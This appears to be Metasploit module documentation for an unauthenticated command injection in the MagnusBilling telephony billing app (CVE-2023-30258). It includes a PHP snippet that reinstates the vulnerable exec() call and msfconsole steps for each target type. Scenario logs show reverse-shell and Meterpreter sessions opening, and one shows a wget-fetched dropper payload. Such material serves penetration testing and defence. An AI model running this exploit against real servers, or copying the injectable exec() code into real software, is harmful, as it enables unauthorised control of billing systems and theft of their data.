## Vulnerable Application
`MagnusBilling` is an open source tool written in `PHP` and `JAVASCRIPT`, aimed at IP telephony providers.
It provides a complete and powerful system for anyone to start an IP telephony provider.
Unfortunately a command injection vulnerability exists in `MagnusBilling` versions 6 and 7.
The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server.
This is caused by a piece of demonstration code which is present in `lib/icepay/icepay.php`, with a call to `exec()` at line 753.
The parameter to `exec()` includes the `GET` parameter `democ`, which is controlled by the user.

An unauthenticated user is able to execute arbitrary OS commands.
The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.
At a minimum, this allows an attacker to compromise the billing system and its database.

See this [attackerkb article](https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258) for more information.

## Installation
This module has been tested on:
- Debian 12.2 running on  VirtualBox 7 with MagnusBilling 7 installed.
- CentOS 7 running on  VirtualBox 7 with MagnusBilling 6 installed.

### Installation steps
* Install Debian 11 or later on VirtualBox.
* Follow these [instructions](https://linux.how2shout.com/install-debian-11-bullseye-on-virtualbox/).
* Login into Debian Linux machine.
* Switch to root with `su -` if needed.
* Follow  the install instructions for either [MagnusBilling 7](https://github.com/magnussolution/magnusbilling7) or
[MagnusBilling 6](https://github.com/magnussolution/magnusbilling6)
* After successful installation, you can test the module with the verification steps listed at the **Verification** section.

PS: If you have installed MagnusBilling 7, please update the `mbilling/lib/icepay/icepay.php` file at the web server root,
typically `/var/www/html`, by adding the vulnerable code below.
```php
if (isset($_GET['demo'])) {

    if ($_GET['demo'] == 1) {
        exec("touch idepay_proccess.php");
    } else {
        exec("rm -rf idepay_proccess.php");
    }
}
if (isset($_GET['democ'])) {
    if (strlen($_GET['democ']) > 5) {
        exec("touch " . $_GET['democ'] . '.txt');
    } else {
        exec("rm -rf *.txt");
    }
}
```

## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258`
- [x] `set rhosts <ip-target>`
- [x] `set rport <port>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>`
- [x] `exploit`

you should get a `shell` or `Meterpreter` session.
```shell
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info

       Name: MagnusBilling application unauthenticated Remote Command Execution.
     Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-26

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Eldstal

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   PHP
      1   Unix Command
      2   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting         Required  Description
  ----       ---------------         --------  -----------
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics
                                               /using-metasploit.html
  RPORT      80                      yes       The target port (TCP)
  SSL        false                   no        Negotiate SSL/TLS for outgoing connections
  SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /mbilling               yes       The MagnusBilling endpoint URL
  URIPATH                            no        The URI to use for this exploit (default is random)
  VHOST                              no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local ma
                                      chine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.


  When TARGET is 0:

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  WEBSHELL                   no        The name of the webshell with extension. Webshell name will be randomly generated if left
                                       unset.

Payload information:

Description:
  A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows
  remote attackers to run arbitrary commands via unauthenticated HTTP request.
  A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().
  The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and
  not properly sanitised/escaped.
  After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.
  The commands run with the privileges of the web server process, typically `www-data`.
  At a minimum, this allows an attacker to compromise the billing system and its database.

  The following MagnusBilling applications are vulnerable:
  - MagnusBilling application version 6 (all versions);
  - MagnusBilling application up to version 7.x and including commit 7af21ed620;

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-30258
  https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
  https://eldstal.se/advisories/230327-magnusbilling.html


View the full module info with the info -d command.
```

## Options
### TARGETURI
The uripath to the `MagnusBilling` web application. Default set is to `/mbilling`.
### WEBSHELL
You can use this option to set the filename and extension (should be .php) of the webshell.
This is handy if you want to test the webshell upload and execution with different file names.
to bypass any security settings on the Web and PHP server.

## Scenarios
###  MagnusBilling 7 on Debian 12.2 - PHP with payload php/meterpreter/reverse_tcp
```shell
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.34
rhosts => 192.168.201.34
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.34:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 5 seconds.
[*] Elapsed time: 5.1 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.34
[+] Deleted LfsCVIttNL.php
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.34:46230) at 2023-10-24 10:26:47 +0000

meterpreter > getuid
Server username: asterisk
meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
Meterpreter : php/linux
meterpreter >
```
###  MagnusBilling 7 on Debian 12.2 - Unix Command with payload cmd/unix/reverse_bash
```shell
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 1
target => 1
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.34:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 2 seconds.
[*] Elapsed time: 2.1 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.34:46396) at 2023-10-24 17:09:45 +0000

uname -a
Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 GNU/Linux
id
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)
pwd
/var/www/html/mbilling/lib/icepay
```
###  MagnusBilling 7 on Debian 12.2 - Linux Dropper with payload linux/x64/meterpreter/reverse_tcp
```shell
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 2
target => 2
msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.34:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 4 seconds.
[*] Elapsed time: 4.09 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:8080/3X16QTzG27N
[*] Client 192.168.201.34 (Wget/1.21.3) requested /3X16QTzG27N
[*] Sending payload to 192.168.201.34 (Wget/1.21.3)
[*] Sending stage (3045380 bytes) to 192.168.201.34
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.34:55224) at 2023-10-24 17:12:05 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.201.34
OS           : Debian 12.2 (Linux 6.1.0-13-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: asterisk
meterpreter > pwd
/var/www/html/mbilling/lib/icepay
meterpreter >
```

## Limitations
No limitations identified.
